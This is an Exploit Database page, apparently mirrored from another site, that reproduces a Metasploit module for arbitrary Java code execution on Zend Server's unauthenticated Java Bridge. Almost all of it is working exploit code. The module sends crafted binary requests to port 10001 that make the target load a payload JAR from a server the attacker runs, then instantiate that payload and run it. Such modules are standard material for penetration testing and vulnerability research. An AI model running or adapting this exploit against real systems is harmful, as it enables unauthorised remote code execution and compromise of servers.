Zend Server Java Bridge – Arbitrary Java Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2011-04-05
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/17148/

• ##
  # $Id: zend_java_bridge.rb 12242 2011-04-05 01:08:07Z swtornio $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpServer
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution',
  			'Description'=> %q{
  					This module takes advantage of a trust relationship issue within the
  				Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
  				between PHP and Java code within Zend Server. 
  				
  					When Java code is encountered Zend Server communicates with the Java Bridge. The
  				Java Bridge then handles the java code and creates the objects within the Java Virtual
  				Machine. This interaction however, does not require any sort of authentication. This
  				leaves the JVM wide open to remote attackers. Sending specially crafted data to the
  				Java Bridge results in the execution of arbitrary java code.
  			},
  			'Author' => [ 'bannedit' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 12242 $',
  			'References' =>
  				[
  					[ 'OSVDB', '71420'],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/17078/' ],
  				],
  			'Platform' => ['java'], # win
  			'Arch' => ARCH_JAVA,
  			'Privileged' => true,
  			'Targets'=>
  				[
  					[ 'Linux', {}],
  					[ 'Windows', {}],
  				],
  			'DisclosureDate' => 'Mar 28 2011',
  			'DefaultTarget' => 0))
  			register_options( [ Opt::RPORT(10001) ], self.class)
  	end
  
  	def exploit
  		start_service()
  		send_java_require
  	end
  	
  	def send_java_require()
  		connect
  
  		jar = rand_text_alpha(rand(8)+1) + '.jar'
  		path = get_uri + '/' + jar
  		uri_len = path.length
  		java_require = [0xffffffff, 0x16000000].pack('V*') +
  		"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +
  		[uri_len].pack('C') + path
  
  		java_require = [java_require.length].pack('N') + java_require
   
  		print_status("Sending java_require() request... #{path}")
  		sock.put(java_require)
  		res = sock.get_once
  		
  		select(nil, nil, nil, 5) # wait for the request to be handled
  		create_and_exec
  	end
  	
  	def create_and_exec
  		print_status("Sending Final Java Bridge Requests")
  
  		create_obj = 
  			[0x34000000, 0x00000000, 0x0c000000].pack('V*') +
  			"CreateObject" +
  			[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +
  			"metasploit.Payload" +
  			[0x07000000].pack('N') + [0x00].pack('C')
  
  		sock.put(create_obj)
  		res = sock.get_once
  		obj_id = res[5,4]
  
  		callmain = 
  		[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +
  		[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') + 
  		[0x00].pack('C') + [0x00].pack('C')
  
  		sock.put(callmain)
  		sock.get_once
  		handler()
  	end
  
  	def on_request_uri(cli, request)
  		if request.uri =~ /\.jar$/i
  			send_response(cli, payload.encoded,
  			{
  				'Content-Type' => 'application/java-archive',
  				'Connection' => 'close',
  				'Pragma' => 'no-cache'
  			})
  
  			print_status("Replied to Request for Payload JAR")
  		end
  	end
  end